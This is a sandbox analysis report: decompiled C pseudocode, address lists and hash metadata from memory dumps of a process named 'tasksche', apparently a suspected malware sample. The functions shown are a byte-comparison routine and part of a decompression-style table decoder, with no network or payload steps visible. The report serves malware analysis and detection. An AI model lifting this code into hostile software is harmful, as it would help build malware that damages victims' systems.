						_t336 = ( *(_t183 - 0x18) & 0x000000ff) - ( *(_t187 - 0x18) & 0x000000ff);
						if(_t336 == 0) {
							L18:
							_t338 = ( *(_t183 - 0x17) & 0x000000ff) - ( *(_t187 - 0x17) & 0x000000ff);
							if(_t338 == 0) {
								L20:
								_t296 = ( *(_t183 - 0x16) & 0x000000ff) - ( *(_t187 - 0x16) & 0x000000ff);
								if(_t296 != 0) {
									_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
								}
								goto L23;
							}
							_t296 = (0 | _t338 > 0x00000000) + (0 | _t338 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L20;
						}
						_t296 = (0 | _t336 > 0x00000000) + (0 | _t336 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L18;
					}
					_t296 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
					if(_t296 != 0) {
						goto L1;
					}
					goto L16;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1d) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
					if(__esi == 0) {
						L5:
						__esi =  *(__eax - 0x1c) & 0x000000ff;
						__edx =  *(__ecx - 0x1c) & 0x000000ff;
						__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
						if(__esi == 0) {
							L7:
							__esi =  *(__eax - 0x1b) & 0x000000ff;
							__edx =  *(__ecx - 0x1b) & 0x000000ff;
							__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
							if(__esi == 0) {
								L9:
								__esi =  *(__eax - 0x1a) & 0x000000ff;
								__edx =  *(__ecx - 0x1a) & 0x000000ff;
								__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L12;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L9;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L7;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L5;
				}
				L1:
				_t184 = _t296;
				goto L2;
			}

0x0041b4ad
0x0041b4ad
0x0041b4b3
0x0041b532
0x0041b534
0x0041b536
0x00000000
0x00000000
0x0041b53c
0x0041b542
0x0041b5c1
0x0041b5c3
0x0041b5c5
0x00000000
0x00000000
0x0041b5cb
0x0041b5d1
0x0041b650
0x0041b652
0x0041b654
0x00000000
0x00000000
0x0041b65a
0x0041b660
0x0041b6df
0x0041b6e1
0x0041b6e3
0x00000000
0x00000000
0x0041b6e9
0x0041b6ef
0x0041b76e
0x0041b770
0x0041b772
0x00000000
0x00000000
0x0041b77e
0x0041b7fe
0x0041b800
0x0041b802
0x00000000
0x00000000
0x0041b808
0x0041b80e
0x0041b88d
0x0041b88f
0x0041b891
0x00000000
0x00000000
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x0041b4a7
0x0041c203
0x0041c203
0x0041b817
0x0041b819
0x0041b830
0x0041b838
0x0041b83a
0x0041b851
0x0041b859
0x0041b85b
0x0041b872
0x0041b87a
0x0041b87c
0x0041b889
0x0041b889
0x00000000
0x0041b87c
0x0041b868
0x0041b86c
0x00000000
0x00000000
0x00000000
0x0041b86c
0x0041b847
0x0041b84b
0x00000000
0x00000000
0x00000000
0x0041b84b
0x0041b826
0x0041b82a
0x00000000
0x00000000
0x00000000
0x0041b82a
0x0041b788
0x0041b78a
0x0041b7a1
0x0041b7a9
0x0041b7ab
0x0041b7c2
0x0041b7ca
0x0041b7cc
0x0041b7e3
0x0041b7eb
0x0041b7ed
0x0041b7fa
0x0041b7fa
0x00000000
0x0041b7ed
0x0041b7d9
0x0041b7dd
0x00000000
0x00000000
0x00000000
0x0041b7dd
0x0041b7b8
0x0041b7bc
0x00000000
0x00000000
0x00000000
0x0041b7bc
0x0041b797
0x0041b79b
0x00000000
0x00000000
0x00000000
0x0041b79b
0x0041b6f8
0x0041b6fa
0x0041b711
0x0041b719
0x0041b71b
0x0041b732
0x0041b73a
0x0041b73c
0x0041b753
0x0041b75b
0x0041b75d
0x0041b76a
0x0041b76a
0x00000000
0x0041b75d
0x0041b749
0x0041b74d
0x00000000
0x00000000
0x00000000
0x0041b74d
0x0041b728
0x0041b72c
0x00000000
0x00000000
0x00000000
0x0041b72c
0x0041b707
0x0041b70b
0x00000000
0x00000000
0x00000000
0x0041b70b
0x0041b669
0x0041b66b
0x0041b682
0x0041b68a
0x0041b68c
0x0041b6a3
0x0041b6ab
0x0041b6ad
0x0041b6c4
0x0041b6cc
0x0041b6ce
0x0041b6db
0x0041b6db
0x00000000
0x0041b6ce
0x0041b6ba
0x0041b6be
0x00000000
0x00000000
0x00000000
0x0041b6be
0x0041b699
0x0041b69d
0x00000000
0x00000000
0x00000000
0x0041b69d
0x0041b678
0x0041b67c
0x00000000
0x00000000
0x00000000
0x0041b67c
0x0041b5da
0x0041b5dc
0x0041b5f3
0x0041b5fb
0x0041b5fd
0x0041b614
0x0041b61c
0x0041b61e
0x0041b635
0x0041b63d
0x0041b63f
0x0041b64c
0x0041b64c
0x00000000
0x0041b63f
0x0041b62b
0x0041b62f
0x00000000
0x00000000
0x00000000
0x0041b62f
0x0041b60a
0x0041b60e
0x00000000
0x00000000
0x00000000
0x0041b60e
0x0041b5e9
0x0041b5ed
0x00000000
0x00000000
0x00000000
0x0041b5ed
0x0041b54b
0x0041b54d
0x0041b564
0x0041b56c
0x0041b56e
0x0041b585
0x0041b58d
0x0041b58f
0x0041b5a6
0x0041b5ae
0x0041b5b0
0x0041b5bd
0x0041b5bd
0x00000000
0x0041b5b0
0x0041b59c
0x0041b5a0
0x00000000
0x00000000
0x00000000
0x0041b5a0
0x0041b57b
0x0041b57f
0x00000000
0x00000000
0x00000000
0x0041b57f
0x0041b55a
0x0041b55e
0x00000000
0x00000000
0x00000000
0x0041b4b5
0x0041b4b5
0x0041b4b8
0x0041b4bc
0x0041b4be
0x0041b4d5
0x0041b4d5
0x0041b4d9
0x0041b4dd
0x0041b4df
0x0041b4f6
0x0041b4f6
0x0041b4fa
0x0041b4fe
0x0041b500
0x0041b517
0x0041b517
0x0041b51b
0x0041b51f
0x0041b521
0x0041b527
0x0041b52a
0x0041b52e
0x0041b52e
0x00000000
0x0041b521
0x0041b506
0x0041b509
0x0041b50d
0x0041b511
0x00000000
0x00000000
0x00000000
0x0041b511
0x0041b4e5
0x0041b4e8
0x0041b4ec
0x0041b4f0
0x00000000
0x00000000
0x00000000
0x0041b4f0
0x0041b4c4
0x0041b4c7
0x0041b4cb
0x0041b4cf
0x00000000
0x00000000
0x00000000
0x0041b4cf
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 29e0c2194e43b481a6c61040bafb45c2199937250b84d4f9493dc4b244529513
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 24C16E73C0E9B30A8736812D81685ABEE62AFD175031FC3A2DCE42F389D36B5D9195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B0D9 Relevance: .4, Instructions: 351
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B0D9(void* __eax, void* __ecx) {
				void* _t177;
				signed int _t178;
				void* _t181;
				signed char _t187;
				signed char _t188;
				signed char _t189;
				signed char _t191;
				signed char _t192;
				signed int _t198;
				signed int _t284;
				void* _t287;
				void* _t289;
				void* _t291;
				void* _t293;
				void* _t295;
				void* _t297;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t307;
				void* _t309;
				void* _t311;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;

				_t181 = __ecx;
				_t177 = __eax;
				if( *((intOrPtr*)(__eax - 0x1c)) ==  *((intOrPtr*)(__ecx - 0x1c))) {
					_t284 = 0;
					L11:
					if(_t284 != 0) {
						goto L1;
					}
					_t187 =  *(_t177 - 0x18);
					if(_t187 ==  *(_t181 - 0x18)) {
						_t284 = 0;
						L22:
						if(_t284 != 0) {
							goto L1;
						}
						_t188 =  *(_t177 - 0x14);
						if(_t188 ==  *(_t181 - 0x14)) {
							_t284 = 0;
							L33:
							if(_t284 != 0) {
								goto L1;
							}
							_t189 =  *(_t177 - 0x10);
							if(_t189 ==  *(_t181 - 0x10)) {
								_t284 = 0;
								L44:
								if(_t284 != 0) {
									goto L1;
								}
								if( *(_t177 - 0xc) ==  *(_t181 - 0xc)) {
									_t284 = 0;
									L55:
									if(_t284 != 0) {
										goto L1;
									}
									_t191 =  *(_t177 - 8);
									if(_t191 ==  *(_t181 - 8)) {
										_t284 = 0;
										L66:
										if(_t284 != 0) {
											goto L1;
										}
										_t192 =  *(_t177 - 4);
										if(_t192 ==  *(_t181 - 4)) {
											_t178 = 0;
											L78:
											if(_t178 == 0) {
												_t178 = 0;
											}
											L80:
											return _t178;
										}
										_t287 = (_t192 & 0x000000ff) - ( *(_t181 - 4) & 0x000000ff);
										if(_t287 == 0) {
											L70:
											_t289 = ( *(_t177 - 3) & 0x000000ff) - ( *(_t181 - 3) & 0x000000ff);
											if(_t289 == 0) {
												L72:
												_t291 = ( *(_t177 - 2) & 0x000000ff) - ( *(_t181 - 2) & 0x000000ff);
												if(_t291 == 0) {
													L75:
													_t178 = ( *(_t177 - 1) & 0x000000ff) - ( *(_t181 - 1) & 0x000000ff);
													if(_t178 != 0) {
														_t178 = (0 | _t178 > 0x00000000) + (0 | _t178 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t198 = (0 | _t291 > 0x00000000) + (0 | _t291 > 0x00000000) - 1;
												if(_t198 == 0) {
													goto L75;
												}
												L74:
												_t178 = _t198;
												goto L78;
											}
											_t198 = (0 | _t289 > 0x00000000) + (0 | _t289 > 0x00000000) - 1;
											if(_t198 != 0) {
												goto L74;
											}
											goto L72;
										}
										_t198 = (0 | _t287 > 0x00000000) + (0 | _t287 > 0x00000000) - 1;
										if(_t198 != 0) {
											goto L74;
										}
										goto L70;
									}
									_t293 = (_t191 & 0x000000ff) - ( *(_t181 - 8) & 0x000000ff);
									if(_t293 == 0) {
										L59:
										_t295 = ( *(_t177 - 7) & 0x000000ff) - ( *(_t181 - 7) & 0x000000ff);
										if(_t295 == 0) {
											L61:
											_t297 = ( *(_t177 - 6) & 0x000000ff) - ( *(_t181 - 6) & 0x000000ff);
											if(_t297 == 0) {
												L63:
												_t284 = ( *(_t177 - 5) & 0x000000ff) - ( *(_t181 - 5) & 0x000000ff);
												if(_t284 != 0) {
													_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
												}
												goto L66;
											}
											_t284 = (0 | _t297 > 0x00000000) + (0 | _t297 > 0x00000000) - 1;
											if(_t284 != 0) {
												goto L1;
											}
											goto L63;
										}
										_t284 = (0 | _t295 > 0x00000000) + (0 | _t295 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L61;
									}
									_t284 = (0 | _t293 > 0x00000000) + (0 | _t293 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L59;
								}
								_t300 = ( *(_t177 - 0xc) & 0x000000ff) - ( *(_t181 - 0xc) & 0x000000ff);
								if(_t300 == 0) {
									L48:
									_t302 = ( *(_t177 - 0xb) & 0x000000ff) - ( *(_t181 - 0xb) & 0x000000ff);
									if(_t302 == 0) {
										L50:
										_t304 = ( *(_t177 - 0xa) & 0x000000ff) - ( *(_t181 - 0xa) & 0x000000ff);
										if(_t304 == 0) {
											L52:
											_t284 = ( *(_t177 - 9) & 0x000000ff) - ( *(_t181 - 9) & 0x000000ff);
											if(_t284 != 0) {
												_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
											}
											goto L55;
										}
										_t284 = (0 | _t304 > 0x00000000) + (0 | _t304 > 0x00000000) - 1;
										if(_t284 != 0) {
											goto L1;
										}
										goto L52;
									}
									_t284 = (0 | _t302 > 0x00000000) + (0 | _t302 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L50;
								}
								_t284 = (0 | _t300 > 0x00000000) + (0 | _t300 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L48;
							}
							_t307 = (_t189 & 0x000000ff) - ( *(_t181 - 0x10) & 0x000000ff);
							if(_t307 == 0) {
								L37:
								_t309 = ( *(_t177 - 0xf) & 0x000000ff) - ( *(_t181 - 0xf) & 0x000000ff);
								if(_t309 == 0) {
									L39:
									_t311 = ( *(_t177 - 0xe) & 0x000000ff) - ( *(_t181 - 0xe) & 0x000000ff);
									if(_t311 == 0) {
										L41:
										_t284 = ( *(_t177 - 0xd) & 0x000000ff) - ( *(_t181 - 0xd) & 0x000000ff);
										if(_t284 != 0) {
											_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
										}
										goto L44;
									}
									_t284 = (0 | _t311 > 0x00000000) + (0 | _t311 > 0x00000000) - 1;
									if(_t284 != 0) {
										goto L1;
									}
									goto L41;
								}
								_t284 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L39;
							}
							_t284 = (0 | _t307 > 0x00000000) + (0 | _t307 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L37;
						}
						_t314 = (_t188 & 0x000000ff) - ( *(_t181 - 0x14) & 0x000000ff);
						if(_t314 == 0) {
							L26:
							_t316 = ( *(_t177 - 0x13) & 0x000000ff) - ( *(_t181 - 0x13) & 0x000000ff);
							if(_t316 == 0) {
								L28:
								_t318 = ( *(_t177 - 0x12) & 0x000000ff) - ( *(_t181 - 0x12) & 0x000000ff);
								if(_t318 == 0) {
									L30:
									_t284 = ( *(_t177 - 0x11) & 0x000000ff) - ( *(_t181 - 0x11) & 0x000000ff);
									if(_t284 != 0) {
										_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
									}
									goto L33;
								}
								_t284 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
								if(_t284 != 0) {
									goto L1;
								}
								goto L30;
							}
							_t284 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L28;
						}
						_t284 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L26;
					}
					_t321 = (_t187 & 0x000000ff) - ( *(_t181 - 0x18) & 0x000000ff);
					if(_t321 == 0) {
						L15:
						_t323 = ( *(_t177 - 0x17) & 0x000000ff) - ( *(_t181 - 0x17) & 0x000000ff);
						if(_t323 == 0) {
							L17:
							_t325 = ( *(_t177 - 0x16) & 0x000000ff) - ( *(_t181 - 0x16) & 0x000000ff);
							if(_t325 == 0) {
								L19:
								_t284 = ( *(_t177 - 0x15) & 0x000000ff) - ( *(_t181 - 0x15) & 0x000000ff);
								if(_t284 != 0) {
									_t284 = (0 | _t284 > 0x00000000) + (0 | _t284 > 0x00000000) - 1;
								}
								goto L22;
							}
							_t284 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
							if(_t284 != 0) {
								goto L1;
							}
							goto L19;
						}
						_t284 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
						if(_t284 != 0) {
							goto L1;
						}
						goto L17;
					}
					_t284 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
					if(_t284 != 0) {
						goto L1;
					}
					goto L15;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1c) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
					if(__esi == 0) {
						L4:
						__esi =  *(__eax - 0x1b) & 0x000000ff;
						__edx =  *(__ecx - 0x1b) & 0x000000ff;
						__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
						if(__esi == 0) {
							L6:
							__esi =  *(__eax - 0x1a) & 0x000000ff;
							__edx =  *(__ecx - 0x1a) & 0x000000ff;
							__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
							if(__esi == 0) {
								L8:
								__esi =  *(__eax - 0x19) & 0x000000ff;
								__edx =  *(__ecx - 0x19) & 0x000000ff;
								__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L11;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L8;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L6;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L4;
				}
				L1:
				_t178 = _t284;
				goto L80;
			}

0x0041b0d9
0x0041b0d9
0x0041b0df
0x0041b152
0x0041b154
0x0041b156
0x00000000
0x00000000
0x0041b15c
0x0041b162
0x0041b1e1
0x0041b1e3
0x0041b1e5
0x00000000
0x00000000
0x0041b1eb
0x0041b1f1
0x0041b270
0x0041b272
0x0041b274
0x00000000
0x00000000
0x0041b27a
0x0041b280
0x0041b2ff
0x0041b301
0x0041b303
0x00000000
0x00000000
0x0041b30f
0x0041b38f
0x0041b391
0x0041b393
0x00000000
0x00000000
0x0041b399
0x0041b39f
0x0041b41e
0x0041b420
0x0041b422
0x00000000
0x00000000
0x0041b428
0x0041b42e
0x0041b49f
0x0041b4a1
0x0041b4a3
0x0041b4a5
0x0041b4a5
0x0041b4a7
0x0041c203
0x0041c203
0x0041b437
0x0041b439
0x0041b44a
0x0041b452
0x0041b454
0x0041b465
0x0041b46d
0x0041b46f
0x0041b484
0x0041b48c
0x0041b48e
0x0041b49b
0x0041b49b
0x00000000
0x0041b48e
0x0041b478
0x0041b47e
0x00000000
0x00000000
0x0041b480
0x0041b480
0x00000000
0x0041b480
0x0041b45d
0x0041b463
0x00000000
0x00000000
0x00000000
0x0041b463
0x0041b442
0x0041b448
0x00000000
0x00000000
0x00000000
0x0041b448
0x0041b3a8
0x0041b3aa
0x0041b3c1
0x0041b3c9
0x0041b3cb
0x0041b3e2
0x0041b3ea
0x0041b3ec
0x0041b403
0x0041b40b
0x0041b40d
0x0041b41a
0x0041b41a
0x00000000
0x0041b40d
0x0041b3f9
0x0041b3fd
0x00000000
0x00000000
0x00000000
0x0041b3fd
0x0041b3d8
0x0041b3dc
0x00000000
0x00000000
0x00000000
0x0041b3dc
0x0041b3b7
0x0041b3bb
0x00000000
0x00000000
0x00000000
0x0041b3bb
0x0041b319
0x0041b31b
0x0041b332
0x0041b33a
0x0041b33c
0x0041b353
0x0041b35b
0x0041b35d
0x0041b374
0x0041b37c
0x0041b37e
0x0041b38b
0x0041b38b
0x00000000
0x0041b37e
0x0041b36a
0x0041b36e
0x00000000
0x00000000
0x00000000
0x0041b36e
0x0041b349
0x0041b34d
0x00000000
0x00000000
0x00000000
0x0041b34d
0x0041b328
0x0041b32c
0x00000000
0x00000000
0x00000000
0x0041b32c
0x0041b289
0x0041b28b
0x0041b2a2
0x0041b2aa
0x0041b2ac
0x0041b2c3
0x0041b2cb
0x0041b2cd
0x0041b2e4
0x0041b2ec
0x0041b2ee
0x0041b2fb
0x0041b2fb
0x00000000
0x0041b2ee
0x0041b2da
0x0041b2de
0x00000000
0x00000000
0x00000000
0x0041b2de
0x0041b2b9
0x0041b2bd
0x00000000
0x00000000
0x00000000
0x0041b2bd
0x0041b298
0x0041b29c
0x00000000
0x00000000
0x00000000
0x0041b29c
0x0041b1fa
0x0041b1fc
0x0041b213
0x0041b21b
0x0041b21d
0x0041b234
0x0041b23c
0x0041b23e
0x0041b255
0x0041b25d
0x0041b25f
0x0041b26c
0x0041b26c
0x00000000
0x0041b25f
0x0041b24b
0x0041b24f
0x00000000
0x00000000
0x00000000
0x0041b24f
0x0041b22a
0x0041b22e
0x00000000
0x00000000
0x00000000
0x0041b22e
0x0041b209
0x0041b20d
0x00000000
0x00000000
0x00000000
0x0041b20d
0x0041b16b
0x0041b16d
0x0041b184
0x0041b18c
0x0041b18e
0x0041b1a5
0x0041b1ad
0x0041b1af
0x0041b1c6
0x0041b1ce
0x0041b1d0
0x0041b1dd
0x0041b1dd
0x00000000
0x0041b1d0
0x0041b1bc
0x0041b1c0
0x00000000
0x00000000
0x00000000
0x0041b1c0
0x0041b19b
0x0041b19f
0x00000000
0x00000000
0x00000000
0x0041b19f
0x0041b17a
0x0041b17e
0x00000000
0x00000000
0x00000000
0x0041b0e1
0x0041b0e1
0x0041b0e4
0x0041b0e8
0x0041b0ea
0x0041b0fd
0x0041b0fd
0x0041b101
0x0041b105
0x0041b107
0x0041b11a
0x0041b11a
0x0041b11e
0x0041b122
0x0041b124
0x0041b137
0x0041b137
0x0041b13b
0x0041b13f
0x0041b141
0x0041b147
0x0041b14a
0x0041b14e
0x0041b14e
0x00000000
0x0041b141
0x0041b12a
0x0041b12d
0x0041b131
0x0041b135
0x00000000
0x00000000
0x00000000
0x0041b135
0x0041b10d
0x0041b110
0x0041b114
0x0041b118
0x00000000
0x00000000
0x00000000
0x0041b118
0x0041b0f0
0x0041b0f3
0x0041b0f7
0x0041b0fb
0x00000000
0x00000000
0x00000000
0x0041b0fb
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 2db7ca3506525dcc090db9a2522c638e963424884ad3e69ae6d01f57f6380b46
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 7AC17173D0E9B3068735812E84686ABEE62AFD175031FC3E29CE42F389D32B5D9495D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041462B Relevance: .2, Instructions: 236
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E0041462B(void* __ebx, intOrPtr __ecx, intOrPtr* _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v28;
				char _v74;
				char _v90;
				char _v154;
				char _v460;
				signed int _t93;
				unsigned int _t94;
				signed int _t97;
				signed int _t98;
				unsigned int _t111;
				unsigned int _t116;
				unsigned int _t120;
				signed int _t122;
				void* _t131;
				signed int _t132;
				signed int _t133;
				signed int _t134;
				unsigned int _t152;
				void* _t154;
				intOrPtr* _t156;
				intOrPtr _t162;
				intOrPtr* _t166;
				void* _t167;
				signed int _t170;
				signed int _t174;
				signed int _t178;
				unsigned int _t180;
				intOrPtr* _t182;
				intOrPtr _t183;
				intOrPtr* _t186;
				intOrPtr _t187;
				void* _t190;

				_t131 = __ebx;
				_v8 = __ecx;
				if( *((char*)(_a8 + 0x11)) != 0) {
					_t186 = _a4;
					__eflags =  *((char*)(_t186 + 8));
					if( *((char*)(_t186 + 8)) != 0) {
						L5:
						_t7 =  &_a8;
						 *_t7 = _a8 & 0x00000000;
						__eflags =  *_t7;
						_push(_t131);
						do {
							_t132 = E004097D1(_t186) >> 0x0000000c & 0x000000ff;
							E004097BA(_t186, 4);
							__eflags = _t132 - 0xf;
							if(_t132 != 0xf) {
								 *(_t190 + _a8 - 0x18) = _t132;
								goto L15;
							}
							_t178 = E004097D1(_t186) >> 0x0000000c & 0x000000ff;
							E004097BA(_t186, 4);
							__eflags = _t178;
							if(_t178 != 0) {
								_t180 = _t178 + 2;
								while(1) {
									__eflags = _t180;
									if(_t180 <= 0) {
										break;
									}
									_t180 = _t180 - 1;
									__eflags = _a8 - 0x14;
									if(_a8 >= 0x14) {
										break;
									}
									_t14 =  &_a8;
									 *_t14 = _a8 + 1;
									__eflags =  *_t14;
									 *(_t190 + _a8 - 0x18) = 0;
								}
								_a8 = _a8 - 1;
								goto L15;
							}
							 *(_t190 + _a8 - 0x18) = _t132;
							L15:
							_a8 = _a8 + 1;
							__eflags = _a8 - 0x14;
						} while (__eflags < 0);
						_t182 = _a12 + 0x3bb0;
						E0041284B(__eflags,  &_v28, _t182, 0x14);
						_t29 =  &_a8;
						 *_t29 = _a8 & 0x00000000;
						__eflags =  *_t29;
						do {
							__eflags =  *((char*)(_t186 + 8));
							if( *((char*)(_t186 + 8)) != 0) {
								L20:
								_t93 = E0040978C(_t186);
								_t133 =  *(_t182 + 0x84);
								_t94 = _t93 & 0x0000fffe;
								__eflags = _t94 -  *((intOrPtr*)(_t182 + 4 + _t133 * 4));
								if(_t94 >=  *((intOrPtr*)(_t182 + 4 + _t133 * 4))) {
									_t174 = 0xf;
									_t134 = _t133 + 1;
									__eflags = _t134 - _t174;
									if(_t134 >= _t174) {
										L28:
										_t152 =  *(_t186 + 4) + _t174;
										 *(_t186 + 4) = _t152 & 0x00000007;
										_t136 = _t152 >> 3;
										 *_t186 =  *_t186 + (_t152 >> 3);
										_t154 = 0x10;
										_t97 = (_t94 -  *((intOrPtr*)(_t182 + _t174 * 4)) >> _t154 - _t174) +  *((intOrPtr*)(_t182 + 0x44 + _t174 * 4));
										__eflags = _t97 -  *_t182;
										if(_t97 >=  *_t182) {
											_t97 = 0;
											__eflags = 0;
										}
										_t98 =  *(_t182 + 0xc88 + _t97 * 2) & 0x0000ffff;
										L31:
										__eflags = _t98 - 0x10;
										if(_t98 >= 0x10) {
											__eflags = _t98 - 0x12;
											_t156 = _t186;
											if(__eflags >= 0) {
												if(__eflags != 0) {
													_t136 = (E004097D1(_t156) >> 9) + 0xb;
													__eflags = _t136;
													_push(7);
												} else {
													_t136 = (E004097D1(_t156) >> 0xd) + 3;
													_push(3);
												}
												E004097BA(_t186);
												while(1) {
													__eflags = _t136;
													if(_t136 <= 0) {
														goto L50;
													}
													_t136 = _t136 - 1;
													__eflags = _a8 - 0x1ae;
													if(_a8 >= 0x1ae) {
														goto L51;
													}
													_t71 =  &_a8;
													 *_t71 = _a8 + 1;
													__eflags =  *_t71;
													 *(_t190 + _a8 - 0x1c8) = 0;
												}
												goto L50;
											}
											__eflags = _t98 - 0x10;
											if(_t98 != 0x10) {
												_t136 = (E004097D1(_t156) >> 9) + 0xb;
												__eflags = _t136;
												_push(7);
											} else {
												_t136 = (E004097D1(_t156) >> 0xd) + 3;
												_push(3);
											}
											E004097BA(_t186);
											_t120 = _a8;
											__eflags = _t120;
											if(_t120 > 0) {
												while(1) {
													__eflags = _t136;
													if(_t136 <= 0) {
														break;
													}
													_t136 = _t136 - 1;
													__eflags = _t120 - 0x1ae;
													if(_t120 >= 0x1ae) {
														goto L51;
													}
													 *((char*)(_t190 + _t120 - 0x1c8)) =  *((intOrPtr*)(_t190 + _t120 - 0x1c9));
													_t120 = _t120 + 1;
													__eflags = _t120;
													_a8 = _t120;
												}
											}
											goto L50;
										}
										_a8 = _a8 + 1;
										 *(_t190 + _a8 - 0x1c8) = _t98;
										goto L50;
									}
									_t166 = _t182 + 4 + _t134 * 4;
									while(1) {
										__eflags = _t94 -  *_t166;
										if(_t94 <  *_t166) {
											break;
										}
										_t134 = _t134 + 1;
